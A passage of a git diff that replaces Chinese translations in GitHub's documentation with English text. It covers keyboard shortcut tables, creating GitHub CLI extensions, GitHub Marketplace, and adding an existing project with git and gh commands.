%}](/get-started/using-github/github-command-palette)."{% endif %} -{% if command-palette %} +## Repositories -controlk or commandk | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with Ctlaltk or ⌘optionk. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %} +| Keyboard shortcut | Description +|-----------|------------ +|g c | Go to the **Code** tab +|g i | Go to the **Issues** tab. For more information, see "[About issues](/articles/about-issues)." +|g p | Go to the **Pull requests** tab. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."{% ifversion fpt or ghes or ghec %} +|g a | Go to the **Actions** tab. For more information, see "[About Actions](/actions/getting-started-with-github-actions/about-github-actions)."{% endif %} +|g b | Go to the **Projects** tab. For more information, see "[About project boards](/articles/about-project-boards)." +|g w | Go to the **Wiki** tab. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."{% ifversion fpt or ghec %} +|g g | Go to the **Discussions** tab. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."{% endif %} -## 仓库 +## Source code editing -| 键盘快捷键 | 描述 | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| g c | 转到 **Code（代码）**选项卡 | -| g i | 转到 **Issues（议题）**选项卡。 更多信息请参阅“[关于议题](/articles/about-issues)”。 | -| g p | 转到 **Pull requests（拉取请求）**选项卡。 For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."{% ifversion fpt or ghes or ghec %} -| g a | 转到 **Actions（操作）**选项卡。 更多信息请参阅“[关于 Actions](/actions/getting-started-with-github-actions/about-github-actions)”。{% endif %} -| g b | 转到 **Projects（项目）**选项卡。 更多信息请参阅“[关于项目板](/articles/about-project-boards)”。 | -| g w | 转到 **Wiki** 选项卡。 更多信息请参阅“[关于 wiki](/communities/documenting-your-project-with-wikis/about-wikis)”。{% ifversion fpt or ghec %} -| g g | 转到 **Discussions（讨论）**选项卡。 更多信息请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions)”。{% endif %} +| Keyboard shortcut | Description +|-----------|------------{% ifversion fpt or ghec %} +|.| Opens a repository or pull request in the web-based editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %} +| control b or command b | Inserts Markdown formatting for bolding text +| control i or command i | Inserts Markdown formatting for italicizing text +| control k or command k | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae-next or ghes > 3.3 %} +| control shift 7 or command shift 7 | Inserts Markdown formatting for an ordered list +| control shift 8 or command shift 8 | Inserts Markdown formatting for an unordered list +| control shift . or command shift. | Inserts Markdown formatting for a quote{% endif %} +|e | Open source code file in the **Edit file** tab +|control f or command f | Start searching in file editor +|control g or command g | Find next +|control shift g or command shift g | Find previous +|control shift f or command option f | Replace +|control shift r or command shift option f | Replace all +|alt g | Jump to line +|control z or command z | Undo +|control y or command y | Redo +|command shift p | Toggles between the **Edit file** and **Preview changes** tabs +|control s or command s | Write a commit message -## 源代码编辑 +For more keyboard shortcuts, see the [CodeMirror documentation](https://codemirror.net/doc/manual.html#commands). -| 键盘快捷键 | 描述 | -| --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghec %} -| . | Opens a repository or pull request in the web-based editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %} -| control b 或 command b | 插入 Markdown 格式用于粗体文本 | -| control i 或 command i | 插入 Markdown 格式用于斜体文本 | -| control k 或 command k | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae-next or ghes > 3.3 %} -| control shift 7 or command shift 7 | Inserts Markdown formatting for an ordered list | -| control shift 8 or command shift 8 | Inserts Markdown formatting for an unordered list | -| control shift . or command shift. | Inserts Markdown formatting for a quote{% endif %} -| e | 在 **Edit file（编辑文件）**选项卡中打开源代码文件 | -| control f 或 command f | 开始在文件编辑器中搜索 | -| control g 或 command g | 查找下一个 | -| control shift g or command shift g | 查找上一个 | -| control shift f or command option f | 替换 | -| control shift r or command shift option f | 全部替换 | -| alt g | 跳至行 | -| control z 或 command z | 撤消 | -| control y 或 command y | 重做 | -| command shift p | 在 **Edit file（编辑文件）** 与 **Preview changes（预览更改）**选项卡之间切换 | -| control s 或 command s | 填写提交消息 | +## Source code browsing -有关更多键盘快捷键，请参阅 [CodeMirror 文档](https://codemirror.net/doc/manual.html#commands)。 +| Keyboard shortcut | Description +|-----------|------------ +|t | Activates the file finder +|l | Jump to a line in your code +|w | Switch to a new branch or tag +|y | Expand a URL to its canonical form. For more information, see "[Getting permanent links to files](/articles/getting-permanent-links-to-files)." +|i | Show or hide comments on diffs. For more information, see "[Commenting on the diff of a pull request](/articles/commenting-on-the-diff-of-a-pull-request)." +|a | Show or hide annotations on diffs +|b | Open blame view. For more information, see "[Tracing changes in a file](/articles/tracing-changes-in-a-file)." -## 源代码浏览 +## Comments -| 键盘快捷键 | 描述 | -| ------------ | --------------------------------------------------------------------------------------- | -| t | 激活文件查找器 | -| l | 跳至代码中的某一行 | -| w | 切换到新分支或标记 | -| y | 将 URL 展开为其规范形式。 更多信息请参阅“[获取文件的永久链接](/articles/getting-permanent-links-to-files)”。 | -| i | 显示或隐藏有关差异的评论。 更多信息请参阅“[评论拉取请求的差异](/articles/commenting-on-the-diff-of-a-pull-request)”。 | -| a | 在差异上显示或隐藏注释 | -| b | 打开追溯视图。 更多信息请参阅“[跟踪文件中的更改](/articles/tracing-changes-in-a-file)”。 | - -## 评论 - -| 键盘快捷键 | 描述 | -| -------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| control b 或 command b | 插入 Markdown 格式用于粗体文本 | -| control i 或 command i | 插入斜体文本的 Markdown 格式{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} -| control e 或 command e | 在行内插入代码或命令的 Markdown 格式{% endif %} -| control k 或 command k | 插入 Markdown 格式用于创建链接 | -| control shift p 或 command shift p | Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae-next or ghes > 3.2 or ghec %} -| control shift 7 or command shift 7 | Inserts Markdown formatting for an ordered list | +| Keyboard shortcut | Description +|-----------|------------ +| control b or command b | Inserts Markdown formatting for bolding text +| control i or command i | Inserts Markdown formatting for italicizing text{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} +| control e or command e | Inserts Markdown formatting for code or a command within a line{% endif %} +| control k or command k | Inserts Markdown formatting for creating a link +| control shift p or command shift p| Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae-next or ghes > 3.2 or ghec %} +| control shift 7 or command shift 7 | Inserts Markdown formatting for an ordered list | control shift 8 or command shift 8 | Inserts Markdown formatting for an unordered list{% endif %} -| control enter | 提交评论 | -| control .，然后 control [已保存回复编号] | 打开已保存回复菜单，然后使用已保存回复自动填写评论字段。 更多信息请参阅“[关于已保存回复](/articles/about-saved-replies)”。{% ifversion fpt or ghae-next or ghes > 3.2 or ghec %} -| control shift . or command shift. | Inserts Markdown formatting for a quote{% endif %}{% ifversion fpt or ghec %} -| control g 或 command g | 插入建议。 更多信息请参阅“[审查拉取请求中提议的更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)”。 -{% endif %} -| r | 在您的回复中引用所选的文本。 更多信息请参阅“[基本撰写和格式语法](/articles/basic-writing-and-formatting-syntax#quoting-text)”。 | +| control enter | Submits a comment +| control . and then control [saved reply number] | Opens saved replies menu and then autofills comment field with a saved reply. For more information, see "[About saved replies](/articles/about-saved-replies)."{% ifversion fpt or ghae-next or ghes > 3.2 or ghec %} +| control shift . or command shift. | Inserts Markdown formatting for a quote{% endif %}{% ifversion fpt or ghec %} +|control g or command g | Insert a suggestion. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)." |{% endif %} +| r | Quote the selected text in your reply. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax#quoting-text)." | -## 议题和拉取请求列表 +## Issue and pull request lists -| 键盘快捷键 | 描述 | -| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| c | 创建议题 | -| control / 或 command / | 将光标聚焦于议题或拉取请求搜索栏。 For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."| | -| u | 按作者过滤 | -| l | 按标签过滤或编辑标签。 更多信息请参阅“[按标签过滤议题和拉取请求](/articles/filtering-issues-and-pull-requests-by-labels)”。 | -| alt 并单击 | 按标签过滤时，排除标签。 更多信息请参阅“[按标签过滤议题和拉取请求](/articles/filtering-issues-and-pull-requests-by-labels)”。 | -| m | 按里程碑过滤或编辑里程碑。 更多信息请参阅“[按里程碑过滤议题和拉取请求](/articles/filtering-issues-and-pull-requests-by-milestone)”。 | -| a | 按受理人过滤或编辑受理人。 更多信息请参阅“[按受理人过滤议题和拉取请求](/articles/filtering-issues-and-pull-requests-by-assignees)”。 | -| o 或 enter | 打开议题 | +| Keyboard shortcut | Description +|-----------|------------ +|c | Create an issue +| control / or command / | Focus your cursor on the issues or pull requests search bar. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."|| +|u | Filter by author +|l | Filter by or edit labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)." +| alt and click | While filtering by labels, exclude labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)." +|m | Filter by or edit milestones. For more information, see "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)." +|a | Filter by or edit assignee. For more information, see "[Filtering issues and pull requests by assignees](/articles/filtering-issues-and-pull-requests-by-assignees)." +|o or enter | Open issue -## 议题和拉取请求 -| 键盘快捷键 | 描述 | -| ----------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| q | 请求审查者。 更多信息请参阅“[申请拉取请求审查](/articles/requesting-a-pull-request-review/)”。 | -| m | 设置里程碑。 更多信息请参阅“[将里程碑与议题及拉取请求关联](/articles/associating-milestones-with-issues-and-pull-requests/)”。 | -| l | 应用标签。 更多信息请参阅“[应用标签到议题和拉取请求](/articles/applying-labels-to-issues-and-pull-requests/)”。 | -| a | 设置受理人。 更多信息请参阅“[分配议题和拉取请求到其他 {% data variables.product.company_short %} 用户](/articles/assigning-issues-and-pull-requests-to-other-github-users/)”。 | -| cmd + shift + p 或 control + shift + p | 在 **Write（撰写）**和 **Preview（预览）**选项卡之间切换{% ifversion fpt or ghec %} -| alt 并单击 | 从任务列表创建议题时，按住 alt 并单击任务右上角的 {% octicon "issue-opened" aria-label="The issue opened icon" %} ，在当前选项卡中打开新议题表单。 更多信息请参阅“[关于任务列表](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)”。 | -| shift 并点击 | 从任务列表创建议题时，按住 shift 并单击任务右上角的 {% octicon "issue-opened" aria-label="The issue opened icon" %} ，在新选项卡中打开新议题表单。 更多信息请参阅“[关于任务列表](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)”。 | -| command 或 control + shift 并点击 | 从任务列表创建议题时，按住 command 或 control + shift 并单击任务右上角的 {% octicon "issue-opened" aria-label="The issue opened icon" %} ，在新窗口中打开新议题表单。 更多信息请参阅“[关于任务列表](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)”。{% endif %} +## Issues and pull requests +| Keyboard shortcut | Description +|-----------|------------ +|q | Request a reviewer. For more information, see "[Requesting a pull request review](/articles/requesting-a-pull-request-review/)." +|m | Set a milestone. For more information, see "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests/)." +|l | Apply a label. For more information, see "[Applying labels to issues and pull requests](/articles/applying-labels-to-issues-and-pull-requests/)." +|a | Set an assignee. For more information, see "[Assigning issues and pull requests to other {% data variables.product.company_short %} users](/articles/assigning-issues-and-pull-requests-to-other-github-users/)." +|cmd + shift + p or control + shift + p | Toggles between the **Write** and **Preview** tabs{% ifversion fpt or ghec %} +|alt and click | When creating an issue from a task list, open the new issue form in the current tab by holding alt and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." +|shift and click | When creating an issue from a task list, open the new issue form in a new tab by holding shift and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." +|command or control + shift and click | When creating an issue from a task list, open the new issue form in the new window by holding command or control + shift and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."{% endif %} -## 拉取请求中的更改 +## Changes in pull requests -| 键盘快捷键 | 描述 | -| ------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| c | 在拉取请求中打开提交列表 | -| t | 在拉取请求中打开已更改文件列表 | -| j | 将所选内容在列表中向下移动 | -| k | 将所选内容在列表中向上移动 | -| cmd + shift + enter | 添加一条有关拉取请求差异的评论 | -| alt 并单击 | 通过按下 `alt` 并单击 **Show outdated（显示已过期）**或 **Hide outdated（隐藏已过期）**，在折叠和展开拉取请求中所有过期的审查评论之间切换。{% ifversion fpt or ghes or ghae or ghec %} -| 单击，然后按住 shift 并单击 | 单击一个行号，按住 shift，然后单击另一行号，便可对拉取请求的多行发表评论。 更多信息请参阅“[评论拉取请求](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)。” -{% endif %} +| Keyboard shortcut | Description +|-----------|------------ +|c | Open the list of commits in the pull request +|t | Open the list of changed files in the pull request +|j | Move selection down in the list +|k | Move selection up in the list +| cmd + shift + enter | Add a single comment on a pull request diff | +| alt and click | Toggle between collapsing and expanding all outdated review comments in a pull request by holding down `alt` and clicking **Show outdated** or **Hide outdated**.|{% ifversion fpt or ghes or ghae or ghec %} +| Click, then shift and click | Comment on multiple lines of a pull request by clicking a line number, holding shift, then clicking another line number. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)."|{% endif %} -## 项目板 +## Project boards -### 移动列 +### Moving a column -| 键盘快捷键 | 描述 | -| ------------------------------------------------------------------------------------------------- | ----------- | -| enter 或 space | 开始移动聚焦的列 | -| escape | 取消正在进行的移动 | -| enter | 完成正在进行的移动 | -| ← 或 h | 向左移动列 | -| command + ← 或 command + h 或 control + ← 或 control + h | 将列移动到最左侧的位置 | -| → 或 l | 向右移动列 | -| command + → 或 command + l 或 control + → 或 control + l | 将列移动到最右侧的位置 | +| Keyboard shortcut | Description +|-----------|------------ +|enter or space | Start moving the focused column +|escape | Cancel the move in progress +|enter | Complete the move in progress +|← or h | Move column to the left +|command + ← or command + h or control + ← or control + h | Move column to the leftmost position +|→ or l | Move column to the right +|command + → or command + l or control + → or control + l | Move column to the rightmost position -### 移动卡片 +### Moving a card -| 键盘快捷键 | 描述 | -| --------------------------------------------------------------------------------------------------------------------------------- | ------------- | -| enter 或 space | 开始移动聚焦的卡片 | -| escape | 取消正在进行的移动 | -| enter | 完成正在进行的移动 | -| ↓ 或 j | 向下移动卡片 | -| command + ↓ 或 command + j 或 control + ↓ 或 control + j | 将卡片移动到该列的底部 | -| ↑ 或 k | 向上移动卡片 | -| command + ↑ 或 command + k 或 control + ↑ 或 control + k | 将卡片移动到该列的顶部 | -| ← 或 h | 将卡片移动到左侧列的底部 | -| shift + ← 或 shift + h | 将卡片移动到左侧列的顶部 | -| command + ← 或 command + h 或 control + ← 或 control + h | 将卡片移动到最左侧列的底部 | -| command + shift + ← 或 command + shift + h 或 control + shift + ← 或 control + shift + h | 将卡片移动到最左侧列的顶部 | -| → | 将卡片移动到右侧列的底部 | -| shift + → 或 shift + l | 将卡片移动到右侧列的顶部 | -| command + → 或 command + l 或 control + → 或 control + l | 将卡片移动到最右侧列的底部 | -| command + shift + → 或 command + shift + l 或 control + shift + → 或 control + shift + l | 将卡片移动到最右侧列的底部 | +| Keyboard shortcut | Description +|-----------|------------ +|enter or space | Start moving the focused card +|escape | Cancel the move in progress +|enter | Complete the move in progress +|↓ or j | Move card down +|command + ↓ or command + j or control + ↓ or control + j | Move card to the bottom of the column +|↑ or k | Move card up +|command + ↑ or command + k or control + ↑ or control + k | Move card to the top of the column +|← or h | Move card to the bottom of the column on the left +|shift + ← or shift + h | Move card to the top of the column on the left +|command + ← or command + h or control + ← or control + h | Move card to the bottom of the leftmost column +|command + shift + ← or command + shift + h or control + shift + ← or control + shift + h | Move card to the top of the leftmost column +|→ | Move card to the bottom of the column on the right +|shift + → or shift + l | Move card to the top of the column on the right +|command + → or command + l or control + → or control + l | Move card to the bottom of the rightmost column +|command + shift + → or command + shift + l or control + shift + → or control + shift + l | Move card to the bottom of the rightmost column -### 预览卡片 +### Previewing a card -| 键盘快捷键 | 描述 | -| -------------- | -------- | -| esc | 关闭卡片预览窗格 | +| Keyboard shortcut | Description +|-----------|------------ +|esc | Close the card preview pane {% ifversion fpt or ghec %} ## {% data variables.product.prodname_actions %} -| 键盘快捷键 | 描述 | -| -------------------------------------------------------- | ----------------------- | -| command + space 或 control + space | 在工作流程编辑器中，获取对工作流程文件的建议。 | -| g f | 转到工作流程文件 | -| shift + t 或 T | 切换日志中的时间戳 | -| shift + f 或 F | 切换全屏日志 | -| esc | 退出全屏日志 | +| Keyboard shortcut | Description +|-----------|------------ +|command + space or control + space | In the workflow editor, get suggestions for your workflow file. +|g f | Go to the workflow file +|shift + t or T | Toggle timestamps in logs +|shift + f or F | Toggle full-screen logs +|esc | Exit full-screen logs {% endif %} -## 通知 +## Notifications + {% ifversion fpt or ghes or ghae or ghec %} -| 键盘快捷键 | 描述 | -| -------------------- | ----- | -| e | 标记为完成 | -| shift + u | 标记为未读 | -| shift + i | 标记为已读 | -| shift + m | 取消订阅 | +| Keyboard shortcut | Description +|-----------|------------ +|e | Mark as done +| shift + u| Mark as unread +| shift + i| Mark as read +| shift + m | Unsubscribe {% else %} -| 键盘快捷键 | 描述 | -| ---------------------------------------- | ----- | -| e、I 或 y | 标记为已读 | -| shift + m | 静音线程 | +| Keyboard shortcut | Description +|-----------|------------ +|e or I or y | Mark as read +|shift + m | Mute thread {% endif %} -## 网络图 +## Network graph -| 键盘快捷键 | 描述 | -| ------------------------------------------- | ------ | -| ← 或 h | 向左滚动 | -| → 或 l | 向右滚动 | -| ↑ 或 k | 向上滚动 | -| ↓ 或 j | 向下滚动 | -| shift + ← 或 shift + h | 一直向左滚动 | -| shift + → 或 shift + l | 一直向右滚动 | -| shift + ↑ 或 shift + k | 一直向上滚动 | -| shift + ↓ 或 shift + j | 一直向下滚动 | +| Keyboard shortcut | Description +|-----------|------------ +|← or h | Scroll left +|→ or l | Scroll right +|↑ or k | Scroll up +|↓ or j | Scroll down +|shift + ← or shift + h | Scroll all the way left +|shift + → or shift + l | Scroll all the way right +|shift + ↑ or shift + k | Scroll all the way up +|shift + ↓ or shift + j | Scroll all the way down diff --git a/translations/zh-CN/content/github-cli/github-cli/creating-github-cli-extensions.md b/translations/zh-CN/content/github-cli/github-cli/creating-github-cli-extensions.md index b6857b2c15..589ce46209 100644 --- a/translations/zh-CN/content/github-cli/github-cli/creating-github-cli-extensions.md +++ b/translations/zh-CN/content/github-cli/github-cli/creating-github-cli-extensions.md @@ -46,7 +46,7 @@ You can use the `gh extension create` command to create a project for your exten {% endnote %} -1. Write your script in the executable file. 例如： +1. Write your script in the executable file. For example: ```bash #!/usr/bin/env bash @@ -70,8 +70,8 @@ You can use the `gh extension create` command to create a project for your exten ```shell git init -b main - gh repo create gh-EXTENSION-NAME --confirm - git add . && git commit -m "initial commit" && git push --set-upstream origin main + git add . && git commit -m "initial commit" + gh repo create gh-EXTENSION-NAME --source=. --public --push ``` 1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)." @@ -120,7 +120,7 @@ fi ### Calling core commands in non-interactive mode -Some {% data variables.product.prodname_cli %} core commands will prompt the user for input. When scripting with those commands, a prompt is often undesirable. To avoid prompting, supply the necessary information explicitly via arguments. +Some {% data variables.product.prodname_cli %} core commands will prompt the user for input. When scripting with those commands, a prompt is often undesirable. To avoid prompting, supply the necessary information explicitly via arguments. For example, to create an issue programmatically, specify the title and body: @@ -148,6 +148,6 @@ gh api user --jq '.name' For more information, see [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting). -## 后续步骤 +## Next steps To see more examples of {% data variables.product.prodname_cli %} extensions, look at [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension). diff --git a/translations/zh-CN/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md b/translations/zh-CN/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md index 5f8f384b0a..d943c3326f 100644 --- a/translations/zh-CN/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md +++ b/translations/zh-CN/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub Marketplace -intro: '{% data variables.product.prodname_marketplace %} 包含用于添加功能和改进工作流程的工具。' +title: About GitHub Marketplace +intro: '{% data variables.product.prodname_marketplace %} contains tools that add functionality and improve your workflow.' redirect_from: - /articles/about-github-marketplace - /github/customizing-your-github-workflow/about-github-marketplace @@ -8,28 +8,27 @@ versions: fpt: '*' ghec: '*' --- +You can discover, browse, and install free and paid tools, including {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_actions %}, in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). -在 [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) 中，您可以发现、浏览和安装免费及付费工具，包括 {% data variables.product.prodname_github_apps %}、{% data variables.product.prodname_oauth_apps %} 和 {% data variables.product.prodname_actions %}。 +If you purchase a paid tool, you'll pay for your tool subscription with the same billing information you use to pay for your {% data variables.product.product_name %} subscription, and receive one bill on your regular billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)." -如果您购买付费工具，将使用支付 {% data variables.product.product_name %} 订阅的帐单信息来支付工具订阅，并且在常规帐单日期会收到一张帐单。 更多信息请参阅“[关于 {% data variables.product.prodname_marketplace %} 的计费](/articles/about-billing-for-github-marketplace)”。 +You may also have the option to select a free 14-day trial on some tools. You can cancel at any time during your trial and you won't be charged, but you will automatically lose access to the tool. Your paid subscription will start at the end of the 14-day trial. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)." -您也可以选择对某些工具免费试用 14 天。 在试用期间可随时取消，您无需付费，但会自动失去对工具的使用权限。 您付费的订阅将在 14 天试用结束时开始。 更多信息请参阅“[关于 {% data variables.product.prodname_marketplace %} 的计费](/articles/about-billing-for-github-marketplace)”。 +## Finding tools on {% data variables.product.prodname_marketplace %} -## 在 {% data variables.product.prodname_marketplace %} 上查找工具 - -您可以发现、浏览和安装其他人在 {% data variables.product.prodname_marketplace %} 上创建的 应用程序和操作，请参阅“[搜索 {% data variables.product.prodname_marketplace %}](/search-github/searching-on-github/searching-github-marketplace)”。 +You can discover, browse, and install apps and actions created by others on {% data variables.product.prodname_marketplace %}, see "[Searching {% data variables.product.prodname_marketplace %}](/search-github/searching-on-github/searching-github-marketplace)." {% data reusables.actions.actions-not-verified %} -任何人都可以在 {% data variables.product.prodname_marketplace %} 上列出免费的 {% data variables.product.prodname_github_app %} 或 {% data variables.product.prodname_oauth_app %}。 付费应用程序的发布者由 {% data variables.product.company_short %} 验证，这些应用程序的上架信息显示 Marketplace 徽章 {% octicon "verified" aria-label="Verified creator badge" %}。 您还将看到未验证和已验证应用程序的徽章。 这些应用程序是使用以前个别应用程序验证方法来发布的。 关于当前流程的更多信息，请参阅“[关于 GitHub Marketplace](/developers/github-marketplace/about-github-marketplace)”和“[上架应用程序的要求](/developers/github-marketplace/requirements-for-listing-an-app)”。 +Anyone can list a free {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %} on {% data variables.product.prodname_marketplace %}. Publishers of paid apps are verified by {% data variables.product.company_short %} and listings for these apps are shown with a marketplace badge {% octicon "verified" aria-label="Verified creator badge" %}. You will also see badges for unverified and verified apps. These apps were published using the previous method for verifying individual apps. For more information about the current process, see "[About GitHub Marketplace](/developers/github-marketplace/about-github-marketplace)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." -## 在 {% data variables.product.prodname_marketplace %} 上创建和列出工具 +## Building and listing a tool on {% data variables.product.prodname_marketplace %} -有关创建要在 {% data variables.product.prodname_marketplace %} 上列出的工具的更多信息，请参阅“[应用程序](/developers/apps)”和“[{% data variables.product.prodname_actions %}](/actions)”。 +For more information on creating your own tool to list on {% data variables.product.prodname_marketplace %}, see "[Apps](/developers/apps)" and "[{% data variables.product.prodname_actions %}](/actions)." -## 延伸阅读 +## Further reading -- "[在 {% data variables.product.prodname_marketplace %} 中购买和安装应用程序](/articles/purchasing-and-installing-apps-in-github-marketplace)" -- "[管理 {% data variables.product.prodname_marketplace %} 应用程序的计费](/articles/managing-billing-for-github-marketplace-apps)" +- "[Purchasing and installing apps in {% data variables.product.prodname_marketplace %}](/articles/purchasing-and-installing-apps-in-github-marketplace)" +- "[Managing billing for {% data variables.product.prodname_marketplace %} apps](/articles/managing-billing-for-github-marketplace-apps)" - "[{% data variables.product.prodname_marketplace %} support](/articles/github-marketplace-support)" -- "[GitHub 应用程序和 OAuth 应用程序之间的差异](/developers/apps/differences-between-github-apps-and-oauth-apps)" +- "[Differences between GitHub Apps and OAuth Apps](/developers/apps/differences-between-github-apps-and-oauth-apps)" diff --git a/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md b/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md index ff9aba5b20..5011d23fb9 100644 --- a/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md +++ b/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md @@ -1,6 +1,6 @@ --- -title: 使用命令行添加现有项目到 GitHub -intro: '将您的现有工作放到 {% data variables.product.product_name %} 上可通过许多很好的方式共享和协作。' +title: Adding an existing project to GitHub using the command line +intro: 'Putting your existing work on {% data variables.product.product_name %} can let you share and collaborate in lots of great ways.' redirect_from: - /articles/add-an-existing-project-to-github/ - /articles/adding-an-existing-project-to-github-using-the-command-line @@ -10,79 +10,74 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: 本地添加项目 +shortTitle: Add a project locally --- -## 关于将现有项目添加到 {% data variables.product.product_name %} +## About adding existing projects to {% data variables.product.product_name %} {% tip %} -**提示：**如果您最喜欢点按式用户界面，请尝试使用 {% data variables.product.prodname_desktop %} 添加项目。 更多信息请参阅 *{% data variables.product.prodname_desktop %} 帮助*中的“[从本地计算机添加仓库到 GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)”。 +**Tip:** If you're most comfortable with a point-and-click user interface, try adding your project with {% data variables.product.prodname_desktop %}. For more information, see "[Adding a repository from your local computer to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" in the *{% data variables.product.prodname_desktop %} Help*. {% endtip %} {% data reusables.repositories.sensitive-info-warning %} -## 通过 {% data variables.product.prodname_cli %} 添加项目到 {% data variables.product.product_name %} +## Adding a project to {% data variables.product.product_name %} with {% data variables.product.prodname_cli %} -{% data variables.product.prodname_cli %} 是用于从计算机的命令行使用 {% data variables.product.prodname_dotcom %} 的开源工具。 {% data variables.product.prodname_cli %} 可以简化使用命令行将现有项目添加到 {% data variables.product.product_name %} 的过程。 要了解有关 {% data variables.product.prodname_cli %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)”。 +{% data variables.product.prodname_cli %} is an open source tool for using {% data variables.product.prodname_dotcom %} from your computer's command line. {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)." -1. 在命令行中，导航到项目的根目录。 -1. 将本地目录初始化为 Git 仓库。 +1. In the command line, navigate to the root directory of your project. +1. Initialize the local directory as a Git repository. ```shell git init -b main ``` -1. 要在 {% data variables.product.product_name %} 上为项目创建仓库，请使用 `gh repo create` 子命令。 Replace `project-name` with the desired name for your repository. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. +1. Stage and commit all the files in your project ```shell - gh repo create project-name + git add . && git commit -m "initial commit" ``` -1. Follow the interactive prompts. Alternatively, you can specify arguments to skip these prompts. For more information about possible arguments, see [the {% data variables.product.prodname_cli %} 